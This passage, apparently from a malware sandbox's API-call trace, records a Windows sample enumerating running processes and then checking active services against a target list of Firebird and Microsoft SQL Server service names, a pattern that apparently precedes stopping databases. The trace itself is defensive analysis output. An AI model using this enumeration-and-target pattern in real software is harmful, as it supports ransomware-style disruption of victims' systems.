th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace.exe")) returned 1 [0132.031] lstrlenW (lpString="screensaver_fireplace.exe") returned 25 [0132.031] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xmlupperarc.exe")) returned 1 [0132.032] lstrlenW (lpString="xmlupperarc.exe") returned 15 [0132.032] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplines-scholars.exe")) returned 1 [0132.033] lstrlenW (lpString="disciplines-scholars.exe") returned 24 [0132.033] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="concerned venture.exe")) returned 1 [0132.033] lstrlenW (lpString="concerned venture.exe") returned 21 [0132.033] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsi.exe")) returned 1 [0132.035] lstrlenW (lpString="organizingscsi.exe") returned 18 [0132.035] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="airplane placing.exe")) returned 1 [0132.035] lstrlenW (lpString="airplane placing.exe") returned 20 [0132.035] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="circus.exe")) returned 1 [0132.036] lstrlenW (lpString="circus.exe") returned 10 [0132.036] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl_jurisdiction_en.exe")) returned 1 [0132.037] lstrlenW (lpString="pearl_jurisdiction_en.exe") returned 25 [0132.037] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="das.exe")) returned 1 [0132.038] lstrlenW (lpString="das.exe") returned 7 [0132.038] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="beam removable.exe")) returned 1 [0132.039] lstrlenW (lpString="beam removable.exe") returned 18 [0132.039] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation_customs.exe")) returned 1 [0132.040] lstrlenW (lpString="principle_federation_customs.exe") returned 32 [0132.040] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0132.041] lstrlenW (lpString="dome.exe") returned 8 [0132.041] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiresjacket.exe")) returned 1 [0132.042] lstrlenW (lpString="wiresjacket.exe") returned 15 [0132.042] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basinproteinsabsorption.exe")) returned 1 [0132.043] lstrlenW (lpString="basinproteinsabsorption.exe") returned 27 [0132.043] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middevelopereddie.exe")) returned 1 [0132.044] lstrlenW (lpString="middevelopereddie.exe") returned 21 [0132.044] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested.exe")) returned 1 [0132.057] lstrlenW (lpString="tested.exe") returned 10 [0132.058] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectionsboysdefects.exe")) returned 1 [0132.059] lstrlenW (lpString="infectionsboysdefects.exe") returned 25 [0132.059] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coming-warned-garage.exe")) returned 1 [0132.060] lstrlenW (lpString="coming-warned-garage.exe") returned 24 [0132.060] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="level.exe")) returned 1 [0132.110] lstrlenW (lpString="level.exe") returned 9 [0132.110] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0132.111] lstrlenW (lpString="dllhost.exe") returned 11 [0132.111] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0132.112] lstrlenW (lpString="conhost.exe") returned 11 [0132.112] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0132.113] lstrlenW (lpString="conhost.exe") returned 11 [0132.113] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.114] lstrlenW (lpString="svchost.exe") returned 11 [0132.114] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0132.115] lstrlenW (lpString="load0.exe") returned 9 [0132.115] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0132.116] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0132.116] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1844, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0132.117] lstrlenW (lpString="conhost.exe") returned 11 [0132.118] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1be4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0132.118] lstrlenW (lpString="cmd.exe") returned 7 [0132.119] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0132.120] lstrlenW (lpString="conhost.exe") returned 11 [0132.120] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.121] lstrlenW (lpString="svchost.exe") returned 11 [0132.121] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0132.121] CloseHandle (hObject=0x10b0) returned 1 [0132.122] Sleep (dwMilliseconds=0x1f4) [0132.634] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e34d8 [0132.635] EnumServicesStatusExW (in: hSCManager=0x5e34d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 0 [0132.635] GetLastError () returned 0xea [0132.635] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1d5a) returned 0x69bb60 [0132.635] EnumServicesStatusExW (in: hSCManager=0x5e34d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x69bb60, cbBufSize=0x1d5a, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x69bb60, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 1 [0132.636] CloseServiceHandle (hSCObject=0x5e34d8) returned 1 [0132.636] lstrlenW (lpString="Appinfo") returned 7 [0132.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0132.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0132.636] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0132.636] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0132.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0132.636] lstrlenW (lpString="AppXSvc") returned 7 [0132.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0132.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0132.636] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0132.636] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0132.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0132.636] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0132.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0132.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0132.636] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0132.636] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0132.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0132.636] lstrlenW (lpString="Audiosrv") returned 8 [0132.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0132.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0132.636] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0132.636] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0132.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0132.636] lstrlenW (lpString="BFE") returned 3 [0132.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0132.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0132.637] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0132.637] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0132.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0132.637] lstrlenW (lpString="BITS") returned 4 [0132.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0132.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0132.637] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0132.637] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0132.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0132.637] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0132.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0132.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0132.637] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0132.637] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0132.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0132.637] lstrlenW (lpString="CDPSvc") returned 6 [0132.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0132.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0132.637] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0132.637] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0132.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0132.637] lstrlenW (lpString="ClickToRunSvc") returned 13 [0132.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0132.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0132.637] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0132.637] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0132.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0132.637] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0132.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0132.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0132.637] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0132.637] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0132.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0132.637] lstrlenW (lpString="CryptSvc") returned 8 [0132.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0132.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0132.638] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0132.638] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0132.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0132.638] lstrlenW (lpString="DcomLaunch") returned 10 [0132.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0132.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0132.638] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0132.638] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0132.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0132.638] lstrlenW (lpString="DeviceAssociationService") returned 24 [0132.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0132.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0132.638] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0132.638] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0132.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0132.638] lstrlenW (lpString="Dhcp") returned 4 [0132.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0132.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0132.638] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0132.638] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0132.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0132.638] lstrlenW (lpString="Dnscache") returned 8 [0132.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0132.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0132.638] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0132.638] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0132.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0132.638] lstrlenW (lpString="DoSvc") returned 5 [0132.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0132.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0132.638] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0132.638] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0132.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0132.638] lstrlenW (lpString="DPS") returned 3 [0132.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0132.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0132.639] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0132.639] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0132.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0132.639] lstrlenW (lpString="DusmSvc") returned 7 [0132.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0132.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0132.639] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0132.639] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0132.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0132.639] lstrlenW (lpString="EventLog") returned 8 [0132.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0132.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0132.639] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0132.639] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0132.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0132.640] lstrlenW (lpString="EventSystem") returned 11 [0132.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0132.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0132.640] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0132.640] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0132.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0132.640] lstrlenW (lpString="FontCache") returned 9 [0132.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0132.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0132.640] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0132.640] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0132.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0132.640] lstrlenW (lpString="gpsvc") returned 5 [0132.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0132.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0132.640] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0132.640] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0132.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0132.640] lstrlenW (lpString="iphlpsvc") returned 8 [0132.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0132.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0132.640] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0132.640] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0132.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0132.640] lstrlenW (lpString="KeyIso") returned 6 [0132.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0132.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0132.640] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0132.640] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0132.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0132.640] lstrlenW (lpString="LanmanServer") returned 12 [0132.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0132.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0132.640] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0132.640] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0132.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0132.641] lstrlenW (lpString="LanmanWorkstation") returned 17 [0132.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0132.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0132.641] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0132.641] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0132.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0132.641] lstrlenW (lpString="lfsvc") returned 5 [0132.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0132.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0132.641] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0132.641] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0132.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0132.641] lstrlenW (lpString="lmhosts") returned 7 [0132.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0132.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0132.641] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0132.641] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0132.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0132.641] lstrlenW (lpString="LSM") returned 3 [0132.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0132.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0132.641] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0132.641] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0132.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0132.641] lstrlenW (lpString="MapsBroker") returned 10 [0132.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0132.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0132.641] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0132.641] lstrcmpiW (lpString1="mssqlserver", 